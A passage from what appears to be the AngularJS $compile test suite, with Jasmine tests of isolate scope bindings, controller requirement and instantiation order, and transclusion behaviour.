          expect(element.html()).toBe('1:foo;2:;3:;4:');
          expect(countWatches($rootScope)).toEqual(4);
          $rootScope.foo = 'baz';
          $rootScope.bar = 'bar';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:bar;3:;4:');
          expect(countWatches($rootScope)).toEqual(4);
          $rootScope.bar = 'baz';
          $rootScope.$digest();
          expect(element.html()).toBe('1:foo;2:baz;3:;4:');
        });
      });
    });
    describe('attribute', function() {
      it('should copy simple attribute', inject(function() {
        compile('<div><span my-component attr="some text">');
        expect(componentScope.attr).toEqual('some text');
        expect(componentScope.attrAlias).toEqual('some text');
        expect(componentScope.attrAlias).toEqual(componentScope.attr);
      }));
      it('should set up the interpolation before it reaches the link function', inject(function() {
        $rootScope.name = 'misko';
        compile('<div><span my-component attr="hello {{name}}">');
        expect(componentScope.attr).toEqual('hello misko');
        expect(componentScope.attrAlias).toEqual('hello misko');
      }));
      it('should update when interpolated attribute updates', inject(function() {
        compile('<div><span my-component attr="hello {{name}}">');
        $rootScope.name = 'igor';
        $rootScope.$apply();
        expect(componentScope.attr).toEqual('hello igor');
        expect(componentScope.attrAlias).toEqual('hello igor');
      }));
    });
    describe('object reference', function() {
      it('should update local when origin changes', inject(function() {
        compile('<div><span my-component ref="name">');
        expect(componentScope.ref).toBe(undefined);
        expect(componentScope.refAlias).toBe(componentScope.ref);
        $rootScope.name = 'misko';
        $rootScope.$apply();
        expect($rootScope.name).toBe('misko');
        expect(componentScope.ref).toBe('misko');
        expect(componentScope.refAlias).toBe('misko');
        $rootScope.name = {};
        $rootScope.$apply();
        expect(componentScope.ref).toBe($rootScope.name);
        expect(componentScope.refAlias).toBe($rootScope.name);
      }));
      it('should update local when both change', inject(function() {
        compile('<div><span my-component ref="name">');
        $rootScope.name = {mark:123};
        componentScope.ref = 'misko';
        $rootScope.$apply();
        expect($rootScope.name).toEqual({mark:123});
        expect(componentScope.ref).toBe($rootScope.name);
        expect(componentScope.refAlias).toBe($rootScope.name);
        $rootScope.name = 'igor';
        componentScope.ref = {};
        $rootScope.$apply();
        expect($rootScope.name).toEqual('igor');
        expect(componentScope.ref).toBe($rootScope.name);
        expect(componentScope.refAlias).toBe($rootScope.name);
      }));
      it('should not break if local and origin both change to the same value', inject(function() {
        $rootScope.name = 'aaa';
        compile('<div><span my-component ref="name">');
        //change both sides to the same item withing the same digest cycle
        componentScope.ref = 'same';
        $rootScope.name = 'same';
        $rootScope.$apply();
        //change origin back to its previous value
        $rootScope.name = 'aaa';
        $rootScope.$apply();
        expect($rootScope.name).toBe('aaa');
        expect(componentScope.ref).toBe('aaa');
      }));
      it('should complain on non assignable changes', inject(function() {
        compile('<div><span my-component ref="\'hello \' + name">');
        $rootScope.name = 'world';
        $rootScope.$apply();
        expect(componentScope.ref).toBe('hello world');
        componentScope.ref = 'ignore me';
        expect($rootScope.$apply).
            toThrowMinErr("$compile", "nonassign", "Expression ''hello ' + name' used with directive 'myComponent' is non-assignable!");
        expect(componentScope.ref).toBe('hello world');
        // reset since the exception was rethrown which prevented phase clearing
        $rootScope.$$phase = null;
        $rootScope.name = 'misko';
        $rootScope.$apply();
        expect(componentScope.ref).toBe('hello misko');
      }));
      // regression
      it('should stabilize model', inject(function() {
        compile('<div><span my-component reference="name">');
        var lastRefValueInParent;
        $rootScope.$watch('name', function(ref) {
          lastRefValueInParent = ref;
        });
        $rootScope.name = 'aaa';
        $rootScope.$apply();
        componentScope.reference = 'new';
        $rootScope.$apply();
        expect(lastRefValueInParent).toBe('new');
      }));
      describe('literal objects', function() {
        it('should copy parent changes', inject(function() {
          compile('<div><span my-component reference="{name: name}">');
          $rootScope.name = 'a';
          $rootScope.$apply();
          expect(componentScope.reference).toEqual({name: 'a'});
          $rootScope.name = 'b';
          $rootScope.$apply();
          expect(componentScope.reference).toEqual({name: 'b'});
        }));
        it('should not change the component when parent does not change', inject(function() {
          compile('<div><span my-component reference="{name: name}">');
          $rootScope.name = 'a';
          $rootScope.$apply();
          var lastComponentValue = componentScope.reference;
          $rootScope.$apply();
          expect(componentScope.reference).toBe(lastComponentValue);
        }));
        it('should complain when the component changes', inject(function() {
          compile('<div><span my-component reference="{name: name}">');
          $rootScope.name = 'a';
          $rootScope.$apply();
          componentScope.reference = {name: 'b'};
          expect(function() {
            $rootScope.$apply();
          }).toThrowMinErr("$compile", "nonassign", "Expression '{name: name}' used with directive 'myComponent' is non-assignable!");
        }));
        it('should work for primitive literals', inject(function() {
          test('1', 1);
          test('null', null);
          test('undefined', undefined);
          test("'someString'", 'someString');
          function test(literalString, literalValue) {
            compile('<div><span my-component reference="'+literalString+'">');
            $rootScope.$apply();
            expect(componentScope.reference).toBe(literalValue);
            dealoc(element);
          }
        }));
      });
    });
    describe('optional object reference', function() {
      it('should update local when origin changes', inject(function() {
        compile('<div><span my-component optref="name">');
        expect(componentScope.optRef).toBe(undefined);
        expect(componentScope.optRefAlias).toBe(componentScope.optRef);
        $rootScope.name = 'misko';
        $rootScope.$apply();
        expect(componentScope.optref).toBe($rootScope.name);
        expect(componentScope.optrefAlias).toBe($rootScope.name);
        $rootScope.name = {};
        $rootScope.$apply();
        expect(componentScope.optref).toBe($rootScope.name);
        expect(componentScope.optrefAlias).toBe($rootScope.name);
      }));
      it('should not throw exception when reference does not exist', inject(function() {
        compile('<div><span my-component>');
        expect(componentScope.optref).toBe(undefined);
        expect(componentScope.optrefAlias).toBe(undefined);
        expect(componentScope.optreference).toBe(undefined);
      }));
    });
    describe('executable expression', function() {
      it('should allow expression execution with locals', inject(function() {
        compile('<div><span my-component expr="count = count + offset">');
        $rootScope.count = 2;
        expect(typeof componentScope.expr).toBe('function');
        expect(typeof componentScope.exprAlias).toBe('function');
        expect(componentScope.expr({offset: 1})).toEqual(3);
        expect($rootScope.count).toEqual(3);
        expect(componentScope.exprAlias({offset: 10})).toEqual(13);
        expect($rootScope.count).toEqual(13);
      }));
    });
    it('should throw on unknown definition', inject(function() {
      expect(function() {
        compile('<div><span bad-declaration>');
      }).toThrowMinErr("$compile", "iscp", "Invalid isolate scope definition for directive 'badDeclaration'. Definition: {... attr: 'xxx' ...}");
    }));
    it('should expose a $$isolateBindings property onto the scope', inject(function() {
      compile('<div><span my-component>');
      expect(typeof componentScope.$$isolateBindings).toBe('object');
      expect(componentScope.$$isolateBindings.attr).toBe('@attr');
      expect(componentScope.$$isolateBindings.attrAlias).toBe('@attr');
      expect(componentScope.$$isolateBindings.ref).toBe('=ref');
      expect(componentScope.$$isolateBindings.refAlias).toBe('=ref');
      expect(componentScope.$$isolateBindings.reference).toBe('=reference');
      expect(componentScope.$$isolateBindings.expr).toBe('&expr');
      expect(componentScope.$$isolateBindings.exprAlias).toBe('&expr');
    }));
  });
  describe('controller', function() {
    it('should get required controller', function() {
      module(function() {
        directive('main', function(log) {
          return {
            priority: 2,
            controller: function() {
              this.name = 'main';
            },
            link: function(scope, element, attrs, controller) {
              log(controller.name);
            }
          };
        });
        directive('dep', function(log) {
          return {
            priority: 1,
            require: 'main',
            link: function(scope, element, attrs, controller) {
              log('dep:' + controller.name);
            }
          };
        });
        directive('other', function(log) {
          return {
            link: function(scope, element, attrs, controller) {
              log(!!controller); // should be false
            }
          };
        });
      });
      inject(function(log, $compile, $rootScope) {
        element = $compile('<div main dep other></div>')($rootScope);
        expect(log).toEqual('false; dep:main; main');
      });
    });
    it('should get required controller via linkingFn (template)', function() {
      module(function() {
        directive('dirA', function() {
          return {
            controller: function() {
              this.name = 'dirA';
            }
          };
        });
        directive('dirB', function(log) {
          return {
            require: 'dirA',
            template: '<p>dirB</p>',
            link: function(scope, element, attrs, dirAController) {
              log('dirAController.name: ' + dirAController.name);
            }
          };
        });
      });
      inject(function(log, $compile, $rootScope) {
        element = $compile('<div dir-a dir-b></div>')($rootScope);
        expect(log).toEqual('dirAController.name: dirA');
      });
    });
    it('should get required controller via linkingFn (templateUrl)', function() {
      module(function() {
        directive('dirA', function() {
          return {
            controller: function() {
              this.name = 'dirA';
            }
          };
        });
        directive('dirB', function(log) {
          return {
            require: 'dirA',
            templateUrl: 'dirB.html',
            link: function(scope, element, attrs, dirAController) {
              log('dirAController.name: ' + dirAController.name);
            }
          };
        });
      });
      inject(function(log, $compile, $rootScope, $templateCache) {
        $templateCache.put('dirB.html', '<p>dirB</p>');
        element = $compile('<div dir-a dir-b></div>')($rootScope);
        $rootScope.$digest();
        expect(log).toEqual('dirAController.name: dirA');
      });
    });
    it('should require controller of an isolate directive from a non-isolate directive on the ' +
        'same element', function() {
      var IsolateController = function() {};
      var isolateDirControllerInNonIsolateDirective;
      module(function() {
        directive('isolate', function() {
          return {
            scope: {},
            controller: IsolateController
          };
        });
        directive('nonIsolate', function() {
          return {
            require: 'isolate',
            link: function(_, __, ___, isolateDirController) {
              isolateDirControllerInNonIsolateDirective = isolateDirController;
            }
          };
        });
      });
      inject(function($compile, $rootScope) {
        element = $compile('<div isolate non-isolate></div>')($rootScope);
        expect(isolateDirControllerInNonIsolateDirective).toBeDefined();
        expect(isolateDirControllerInNonIsolateDirective instanceof IsolateController).toBe(true);
      });
    });
    it('should give the isolate scope to the controller of another replaced directives in the template', function() {
      module(function() {
        directive('testDirective', function() {
          return {
            replace: true,
            restrict: 'E',
            scope: {},
            template: '<input type="checkbox" ng-model="model">'
          };
        });
      });
      inject(function($rootScope) {
        compile('<div><test-directive></test-directive></div>');
        element = element.children().eq(0);
        expect(element[0].checked).toBe(false);
        element.isolateScope().model = true;
        $rootScope.$digest();
        expect(element[0].checked).toBe(true);
      });
    });
    it('should share isolate scope with replaced directives (template)', function() {
      var normalScope;
      var isolateScope;
      module(function() {
        directive('isolate', function() {
          return {
            replace: true,
            scope: {},
            template: '<span ng-init="name=\'WORKS\'">{{name}}</span>',
            link: function(s) {
              isolateScope = s;
            }
          };
        });
        directive('nonIsolate', function() {
          return {
            link: function(s) {
              normalScope = s;
            }
          };
        });
      });
      inject(function($compile, $rootScope) {
        element = $compile('<div isolate non-isolate></div>')($rootScope);
        expect(normalScope).toBe($rootScope);
        expect(normalScope.name).toEqual(undefined);
        expect(isolateScope.name).toEqual('WORKS');
        $rootScope.$digest();
        expect(element.text()).toEqual('WORKS');
      });
    });
    it('should share isolate scope with replaced directives (templateUrl)', function() {
      var normalScope;
      var isolateScope;
      module(function() {
        directive('isolate', function() {
          return {
            replace: true,
            scope: {},
            templateUrl: 'main.html',
            link: function(s) {
              isolateScope = s;
            }
          };
        });
        directive('nonIsolate', function() {
          return {
            link: function(s) {
              normalScope = s;
            }
          };
        });
      });
      inject(function($compile, $rootScope, $templateCache) {
        $templateCache.put('main.html', '<span ng-init="name=\'WORKS\'">{{name}}</span>');
        element = $compile('<div isolate non-isolate></div>')($rootScope);
        $rootScope.$apply();
        expect(normalScope).toBe($rootScope);
        expect(normalScope.name).toEqual(undefined);
        expect(isolateScope.name).toEqual('WORKS');
        expect(element.text()).toEqual('WORKS');
      });
    });
    it('should not get confused about where to use isolate scope when a replaced directive is used multiple times',
        function() {
      module(function() {
        directive('isolate', function() {
          return {
            replace: true,
            scope: {},
            template: '<span scope-tester="replaced"><span scope-tester="inside"></span></span>'
          };
        });
        directive('scopeTester', function(log) {
          return {
            link: function($scope, $element) {
              log($element.attr('scope-tester') + '=' + ($scope.$root === $scope ? 'non-isolate' : 'isolate'));
            }
          };
        });
      });
      inject(function($compile, $rootScope, log) {
        element = $compile('<div>' +
                             '<div isolate scope-tester="outside"></div>' +
                             '<span scope-tester="sibling"></span>' +
                           '</div>')($rootScope);
        $rootScope.$digest();
        expect(log).toEqual('inside=isolate; ' +
                            'outside replaced=non-isolate; ' + // outside
                            'outside replaced=isolate; ' + // replaced
                            'sibling=non-isolate');
      });
    });
    it('should require controller of a non-isolate directive from an isolate directive on the ' +
       'same element', function() {
      var NonIsolateController = function() {};
      var nonIsolateDirControllerInIsolateDirective;
      module(function() {
        directive('isolate', function() {
          return {
            scope: {},
            require: 'nonIsolate',
            link: function(_, __, ___, nonIsolateDirController) {
              nonIsolateDirControllerInIsolateDirective = nonIsolateDirController;
            }
          };
        });
        directive('nonIsolate', function() {
          return {
            controller: NonIsolateController
          };
        });
      });
      inject(function($compile, $rootScope) {
        element = $compile('<div isolate non-isolate></div>')($rootScope);
        expect(nonIsolateDirControllerInIsolateDirective).toBeDefined();
        expect(nonIsolateDirControllerInIsolateDirective instanceof NonIsolateController).toBe(true);
      });
    });
    it('should support controllerAs', function() {
      module(function() {
        directive('main', function() {
          return {
            templateUrl: 'main.html',
            transclude: true,
            scope: {},
            controller: function() {
              this.name = 'lucas';
            },
            controllerAs: 'mainCtrl'
          };
        });
      });
      inject(function($templateCache, $compile, $rootScope) {
        $templateCache.put('main.html', '<span>template:{{mainCtrl.name}} <div ng-transclude></div></span>');
        element = $compile('<div main>transclude:{{mainCtrl.name}}</div>')($rootScope);
        $rootScope.$apply();
        expect(element.text()).toBe('template:lucas transclude:');
      });
    });
    it('should support controller alias', function() {
      module(function($controllerProvider) {
        $controllerProvider.register('MainCtrl', function() {
          this.name = 'lucas';
        });
        directive('main', function() {
          return {
            templateUrl: 'main.html',
            scope: {},
            controller: 'MainCtrl as mainCtrl'
          };
        });
      });
      inject(function($templateCache, $compile, $rootScope) {
        $templateCache.put('main.html', '<span>{{mainCtrl.name}}</span>');
        element = $compile('<div main></div>')($rootScope);
        $rootScope.$apply();
        expect(element.text()).toBe('lucas');
      });
    });
    it('should require controller on parent element',function() {
      module(function() {
        directive('main', function(log) {
          return {
            controller: function() {
              this.name = 'main';
            }
          };
        });
        directive('dep', function(log) {
          return {
            require: '^main',
            link: function(scope, element, attrs, controller) {
              log('dep:' + controller.name);
            }
          };
        });
      });
      inject(function(log, $compile, $rootScope) {
        element = $compile('<div main><div dep></div></div>')($rootScope);
        expect(log).toEqual('dep:main');
      });
    });
    it("should throw an error if required controller can't be found",function() {
      module(function() {
        directive('dep', function(log) {
          return {
            require: '^main',
            link: function(scope, element, attrs, controller) {
              log('dep:' + controller.name);
            }
          };
        });
      });
      inject(function(log, $compile, $rootScope) {
        expect(function() {
          $compile('<div main><div dep></div></div>')($rootScope);
        }).toThrowMinErr("$compile", "ctreq", "Controller 'main', required by directive 'dep', can't be found!");
      });
    });
    it('should have optional controller on current element', function() {
      module(function() {
        directive('dep', function(log) {
          return {
            require: '?main',
            link: function(scope, element, attrs, controller) {
              log('dep:' + !!controller);
            }
          };
        });
      });
      inject(function(log, $compile, $rootScope) {
        element = $compile('<div main><div dep></div></div>')($rootScope);
        expect(log).toEqual('dep:false');
      });
    });
    it('should support multiple controllers', function() {
      module(function() {
        directive('c1', valueFn({
          controller: function() { this.name = 'c1'; }
        }));
        directive('c2', valueFn({
          controller: function() { this.name = 'c2'; }
        }));
        directive('dep', function(log) {
          return {
            require: ['^c1', '^c2'],
            link: function(scope, element, attrs, controller) {
              log('dep:' + controller[0].name + '-' + controller[1].name);
            }
          };
        });
      });
      inject(function(log, $compile, $rootScope) {
        element = $compile('<div c1 c2><div dep></div></div>')($rootScope);
        expect(log).toEqual('dep:c1-c2');
      });
    });
    it('should instantiate the controller just once when template/templateUrl', function() {
      var syncCtrlSpy = jasmine.createSpy('sync controller'),
          asyncCtrlSpy = jasmine.createSpy('async controller');
      module(function() {
        directive('myDirectiveSync', valueFn({
          template: '<div>Hello!</div>',
          controller: syncCtrlSpy
        }));
        directive('myDirectiveAsync', valueFn({
          templateUrl: 'myDirectiveAsync.html',
          controller: asyncCtrlSpy,
          compile: function() {
            return function() {
            };
          }
        }));
      });
      inject(function($templateCache, $compile, $rootScope) {
        expect(syncCtrlSpy).not.toHaveBeenCalled();
        expect(asyncCtrlSpy).not.toHaveBeenCalled();
        $templateCache.put('myDirectiveAsync.html', '<div>Hello!</div>');
        element = $compile('<div>'+
                   '<span xmy-directive-sync></span>' +
                   '<span my-directive-async></span>' +
                 '</div>')($rootScope);
        expect(syncCtrlSpy).not.toHaveBeenCalled();
        expect(asyncCtrlSpy).not.toHaveBeenCalled();
        $rootScope.$apply();
        //expect(syncCtrlSpy).toHaveBeenCalledOnce();
        expect(asyncCtrlSpy).toHaveBeenCalledOnce();
      });
    });
    it('should instantiate controllers in the parent->child order when transluction, templateUrl and replacement ' +
        'are in the mix', function() {
      // When a child controller is in the transclusion that replaces the parent element that has a directive with
      // a controller, we should ensure that we first instantiate the parent and only then stuff that comes from the
      // transclusion.
      //
      // The transclusion moves the child controller onto the same element as parent controller so both controllers are
      // on the same level.
      module(function() {
        directive('parentDirective', function() {
          return {
            transclude: true,
            replace: true,
            templateUrl: 'parentDirective.html',
            controller: function (log) { log('parentController'); }
          };
        });
        directive('childDirective', function() {
          return {
            require: '^parentDirective',
            templateUrl: 'childDirective.html',
            controller : function(log) { log('childController'); }
          };
        });
      });
      inject(function($templateCache, log, $compile, $rootScope) {
        $templateCache.put('parentDirective.html', '<div ng-transclude>parentTemplateText;</div>');
        $templateCache.put('childDirective.html', '<span>childTemplateText;</span>');
        element = $compile('<div parent-directive><div child-directive></div>childContentText;</div>')($rootScope);
        $rootScope.$apply();
        expect(log).toEqual('parentController; childController');
        expect(element.text()).toBe('childTemplateText;childContentText;');
      });
    });
    it('should instantiate the controller after the isolate scope bindings are initialized (with template)', function () {
      module(function () {
        var Ctrl = function ($scope, log) {
          log('myFoo=' + $scope.myFoo);
        };
        directive('myDirective', function () {
          return {
            scope: {
              myFoo: "="
            },
            template: '<p>Hello</p>',
            controller: Ctrl
          };
        });
      });
      inject(function ($templateCache, $compile, $rootScope, log) {
        $rootScope.foo = "bar";
        element = $compile('<div my-directive my-foo="foo"></div>')($rootScope);
        $rootScope.$apply();
        expect(log).toEqual('myFoo=bar');
      });
    });
    it('should instantiate the controller after the isolate scope bindings are initialized (with templateUrl)', function () {
      module(function () {
        var Ctrl = function ($scope, log) {
          log('myFoo=' + $scope.myFoo);
        };
        directive('myDirective', function () {
          return {
            scope: {
              myFoo: "="
            },
            templateUrl: 'hello.html',
            controller: Ctrl
          };
        });
      });
      inject(function ($templateCache, $compile, $rootScope, log) {
        $templateCache.put('hello.html', '<p>Hello</p>');
        $rootScope.foo = "bar";
        element = $compile('<div my-directive my-foo="foo"></div>')($rootScope);
        $rootScope.$apply();
        expect(log).toEqual('myFoo=bar');
      });
    });
    it('should instantiate controllers in the parent->child->baby order when nested transluction, templateUrl and ' +
        'replacement are in the mix', function() {
      // similar to the test above, except that we have one more layer of nesting and nested transclusion
      module(function() {
        directive('parentDirective', function() {
          return {
            transclude: true,
            replace: true,
            templateUrl: 'parentDirective.html',
            controller: function (log) { log('parentController'); }
          };
        });
        directive('childDirective', function() {
          return {
            require: '^parentDirective',
            transclude: true,
            replace: true,
            templateUrl: 'childDirective.html',
            controller : function(log) { log('childController'); }
          };
        });
        directive('babyDirective', function() {
          return {
            require: '^childDirective',
            templateUrl: 'babyDirective.html',
            controller : function(log) { log('babyController'); }
          };
        });
      });
      inject(function($templateCache, log, $compile, $rootScope) {
        $templateCache.put('parentDirective.html', '<div ng-transclude>parentTemplateText;</div>');
        $templateCache.put('childDirective.html', '<span ng-transclude>childTemplateText;</span>');
        $templateCache.put('babyDirective.html', '<span>babyTemplateText;</span>');
        element = $compile('<div parent-directive>' +
                             '<div child-directive>' +
                               'childContentText;' +
                               '<div baby-directive>babyContent;</div>' +
                              '</div>' +
                            '</div>')($rootScope);
        $rootScope.$apply();
        expect(log).toEqual('parentController; childController; babyController');
        expect(element.text()).toBe('childContentText;babyTemplateText;');
      });
    });
    it('should allow controller usage in pre-link directive functions with templateUrl', function () {
      module(function () {
        var Ctrl = function (log) {
          log('instance');
        };
        directive('myDirective', function () {
          return {
            scope: true,
            templateUrl: 'hello.html',
            controller: Ctrl,
            compile: function () {
              return {
                pre: function (scope, template, attr, ctrl) {},
                post: function () {}
              };
            }
          };
        });
      });
      inject(function ($templateCache, $compile, $rootScope, log) {
        $templateCache.put('hello.html', '<p>Hello</p>');
        element = $compile('<div my-directive></div>')($rootScope);
        $rootScope.$apply();
        expect(log).toEqual('instance');
        expect(element.text()).toBe('Hello');
      });
    });
    it('should allow controller usage in pre-link directive functions with a template', function () {
      module(function () {
        var Ctrl = function (log) {
          log('instance');
        };
        directive('myDirective', function () {
          return {
            scope: true,
            template: '<p>Hello</p>',
            controller: Ctrl,
            compile: function () {
              return {
                pre: function (scope, template, attr, ctrl) {},
                post: function () {}
              };
            }
          };
        });
      });
      inject(function ($templateCache, $compile, $rootScope, log) {
        element = $compile('<div my-directive></div>')($rootScope);
        $rootScope.$apply();
        expect(log).toEqual('instance');
        expect(element.text()).toBe('Hello');
      });
    });
    it('should throw ctreq with correct directive name, regardless of order', function() {
      module(function($compileProvider) {
        $compileProvider.directive('aDir', valueFn({
          restrict: "E",
          require: "ngModel",
          link: noop
        }));
      });
      inject(function($compile, $rootScope) {
        expect(function() {
          // a-dir will cause a ctreq error to be thrown. Previously, the error would reference
          // the last directive in the chain (which in this case would be ngClick), based on
          // priority and alphabetical ordering. This test verifies that the ordering does not
          // affect which directive is referenced in the minErr message.
          element = $compile('<a-dir ng-click="foo=bar"></a-dir>')($rootScope);
        }).toThrowMinErr('$compile', 'ctreq',
            "Controller 'ngModel', required by directive 'aDir', can't be found!");
      });
    });
  });
  describe('transclude', function() {
    describe('content transclusion', function() {
      it('should support transclude directive', function() {
        module(function() {
          directive('trans', function() {
            return {
              transclude: 'content',
              replace: true,
              scope: true,
              template: '<ul><li>W:{{$parent.$id}}-{{$id}};</li><li ng-transclude></li></ul>'
            };
          });
        });
        inject(function(log, $rootScope, $compile) {
          element = $compile('<div><div trans>T:{{$parent.$id}}-{{$id}}<span>;</span></div></div>')
              ($rootScope);
          $rootScope.$apply();
          expect(element.text()).toEqual('W:1-2;T:1-3;');
          expect(jqLite(element.find('span')[0]).text()).toEqual('T:1-3');
          expect(jqLite(element.find('span')[1]).text()).toEqual(';');
        });
      });
      it('should transclude transcluded content', function() {
        module(function() {
          directive('book', valueFn({
            transclude: 'content',
            template: '<div>book-<div chapter>(<div ng-transclude></div>)</div></div>'
          }));
          directive('chapter', valueFn({
            transclude: 'content',
            templateUrl: 'chapter.html'
          }));
          directive('section', valueFn({
            transclude: 'content',
            template: '<div>section-!<div ng-transclude></div>!</div></div>'
          }));
          return function($httpBackend) {
            $httpBackend.
                expect('GET', 'chapter.html').
                respond('<div>chapter-<div section>[<div ng-transclude></div>]</div></div>');
          };
        });
        inject(function(log, $rootScope, $compile, $httpBackend) {
          element = $compile('<div><div book>paragraph</div></div>')($rootScope);
          $rootScope.$apply();
          expect(element.text()).toEqual('book-');
          $httpBackend.flush();
          $rootScope.$apply();
          expect(element.text()).toEqual('book-chapter-section-![(paragraph)]!');
        });
      });
      it('should only allow one content transclusion per element', function() {
        module(function() {
          directive('first', valueFn({
            transclude: true
          }));
          directive('second', valueFn({
            transclude: true
          }));
        });
        inject(function($compile) {
          expect(function() {
            $compile('<div first="" second=""></div>');
          }).toThrowMinErr('$compile', 'multidir', /Multiple directives \[first, second\] asking for transclusion on: <div .+/);
        });
      });
      it('should not leak if two "element" transclusions are on the same element', function() {
        var calcCacheSize = function() {
          var size = 0;
          forEach(jqLite.cache, function(item, key) { size++; });
          return size;
        };
        inject(function($compile, $rootScope) {
          expect(calcCacheSize()).toEqual(0);
          element = $compile('<div><div ng-repeat="x in xs" ng-if="x==1">{{x}}</div></div>')($rootScope);
          expect(calcCacheSize()).toEqual(1);
          $rootScope.$apply('xs = [0,1]');
          expect(calcCacheSize()).toEqual(2);
          $rootScope.$apply('xs = [0]');
          expect(calcCacheSize()).toEqual(1);
          $rootScope.$apply('xs = []');
          expect(calcCacheSize()).toEqual(1);
          element.remove();
          expect(calcCacheSize()).toEqual(0);
        });
      });
      it('should not leak if two "element" transclusions are on the same element', function() {
        var calcCacheSize = function() {
          var size = 0;
          forEach(jqLite.cache, function(item, key) { size++; });
          return size;
        };
        inject(function($compile, $rootScope) {
          expect(calcCacheSize()).toEqual(0);
          element = $compile('<div><div ng-repeat="x in xs" ng-if="val">{{x}}</div></div>')($rootScope);
          $rootScope.$apply('xs = [0,1]');
          // At this point we have a bunch of comment placeholders but no real transcluded elements
          // So the cache only contains the root element's data
          expect(calcCacheSize()).toEqual(1);
          $rootScope.$apply('val = true');
          // Now we have two concrete transcluded elements plus some comments so two more cache items
          expect(calcCacheSize()).toEqual(3);
          $rootScope.$apply('val = false');
          // Once again we only have comments so no transcluded elements and the cache is back to just
          // the root element
          expect(calcCacheSize()).toEqual(1);
          element.remove();
          // Now we've even removed the root element along with its cache
          expect(calcCacheSize()).toEqual(0);
        });
      });
      it('should remove transclusion scope, when the DOM is destroyed', function() {
        module(function() {
          directive('box', valueFn({
            transclude: true,
            scope: { name: '=', show: '=' },
            template: '<div><h1>Hello: {{name}}!</h1><div ng-transclude></div></div>',
            link: function(scope, element) {
              scope.$watch(
                  'show',
                  function(show) {
                    if (!show) {
                      element.find('div').find('div').remove();
                    }
                  }
              );
            }
          }));
        });
        inject(function($compile, $rootScope) {
          $rootScope.username = 'Misko';
          $rootScope.select = true;
          element = $compile(
              '<div><div box name="username" show="select">user: {{username}}</div></div>')
              ($rootScope);
          $rootScope.$apply();
          expect(element.text()).toEqual('Hello: Misko!user: Misko');
          var widgetScope = $rootScope.$$childHead;
          var transcludeScope = widgetScope.$$nextSibling;
          expect(widgetScope.name).toEqual('Misko');
          expect(widgetScope.$parent).toEqual($rootScope);
          expect(transcludeScope.$parent).toEqual($rootScope);
          $rootScope.select = false;
          $rootScope.$apply();
          expect(element.text()).toEqual('Hello: Misko!');
          expect(widgetScope.$$nextSibling).toEqual(null);
        });
      });
      it('should add a $$transcluded property onto the transcluded scope', function() {
        module(function() {
          directive('trans', function() {
            return {
              transclude: true,
              replace: true,
              scope: true,
              template: '<div><span>I:{{$$transcluded}}</span><div ng-transclude></div></div>'
            };
          });
        });
        inject(function(log, $rootScope, $compile) {
          element = $compile('<div><div trans>T:{{$$transcluded}}</div></div>')
              ($rootScope);
          $rootScope.$apply();
          expect(jqLite(element.find('span')[0]).text()).toEqual('I:');
          expect(jqLite(element.find('span')[1]).text()).toEqual('T:true');
        });
      });
      it('should clear contents of the ng-translude element before appending transcluded content', function() {
        module(function() {
          directive('trans', function() {
            return {
              transclude: true,
              template: '<div ng-transclude>old stuff! </div>'
            };
          });
        });
        inject(function(log, $rootScope, $compile) {
          element = $compile('<div trans>unicorn!</div>')($rootScope);
          $rootScope.$apply();
          expect(sortedHtml(element.html())).toEqual('<div ng-transclude=""><span>unicorn!</span></div>');
        });
      });
      it('should throw on an ng-transclude element inside no transclusion directive', function() {
        inject(function ($rootScope, $compile) {
          // we need to do this because different browsers print empty attributes differently
          try {
            $compile('<div><div ng-transclude></div></div>')($rootScope);
          } catch(e) {
            expect(e.message).toMatch(new RegExp(
                '^\\[ngTransclude:orphan\\] ' +
                    'Illegal use of ngTransclude directive in the template! ' +
                    'No parent directive that requires a transclusion found\\. ' +
                    'Element: <div ng-transclude.+'));
          }
        });
      });
      it('should not pass transclusion into a template directive when the directive didn\'t request transclusion', function() {
        module(function($compileProvider) {
          $compileProvider.directive('transFoo', valueFn({
            template: '<div>' +
              '<div no-trans-bar></div>' +
              '<div ng-transclude>this one should get replaced with content</div>' +
              '<div class="foo" ng-transclude></div>' +
            '</div>',
            transclude: true
          }));
          $compileProvider.directive('noTransBar', valueFn({
            template: '<div>' +
              // This ng-transclude is invalid. It should throw an error.
              '<div class="bar" ng-transclude></div>' +
            '</div>',
            transclude: false
          }));
        });
        inject(function($compile, $rootScope) {
          expect(function() {
            $compile('<div trans-foo>content</div>')($rootScope);
          }).toThrowMinErr('ngTransclude', 'orphan',
              'Illegal use of ngTransclude directive in the template! No parent directive that requires a transclusion found. Element: <div class="bar" ng-transclude="">');
        });
      });
      it('should not pass transclusion into a templateUrl directive', function() {
        module(function($compileProvider) {
          $compileProvider.directive('transFoo', valueFn({
            template: '<div>' +
              '<div no-trans-bar></div>' +
              '<div ng-transclude>this one should get replaced with content</div>' +
              '<div class="foo" ng-transclude></div>' +
            '</div>',
            transclude: true
          }));
          $compileProvider.directive('noTransBar', valueFn({
            templateUrl: 'noTransBar.html',
            transclude: false
          }));
        });
        inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('noTransBar.html',
            '<div>' +
              // This ng-transclude is invalid. It should throw an error.
              '<div class="bar" ng-transclude></div>' +
            '</div>');
          expect(function() {
            element = $compile('<div trans-foo>content</div>')($rootScope);
            $rootScope.$apply();
          }).toThrowMinErr('ngTransclude', 'orphan',
              'Illegal use of ngTransclude directive in the template! No parent directive that requires a transclusion found. Element: <div class="bar" ng-transclude="">');
        });
      });
      it('should expose transcludeFn in compile fn even for templateUrl', function() {
        module(function() {
          directive('transInCompile', valueFn({
            transclude: true,
            // template: '<div class="foo">whatever</div>',
            templateUrl: 'foo.html',
            compile: function(_, __, transclude) {
              return function(scope, element) {
                transclude(scope, function(clone, scope) {
                  element.html('');
                  element.append(clone);
                });
              };
            }
          }));
        });
        inject(function($compile, $rootScope, $templateCache) {
          $templateCache.put('foo.html', '<div class="foo">whatever</div>');
          compile('<div trans-in-compile>transcluded content</div>');
          $rootScope.$apply();
          expect(trim(element.text())).toBe('transcluded content');
        });
      });
      it('should make the result of a transclusion available to the parent directive in post-linking phase' +
          '(template)', function() {
        module(function() {
          directive('trans', function(log) {
            return {
              transclude: true,
              template: '<div ng-transclude></div>',
              link: {
                pre: function($scope, $element) {
                  log('pre(' + $element.text() + ')');
                },
                post: function($scope, $element) {
                  log('post(' + $element.text() + ')');
                }
              }
            };
          });
        });
        inject(function(log, $rootScope, $compile) {
          element = $compile('<div trans><span>unicorn!</span></div>')($rootScope);
          $rootScope.$apply();
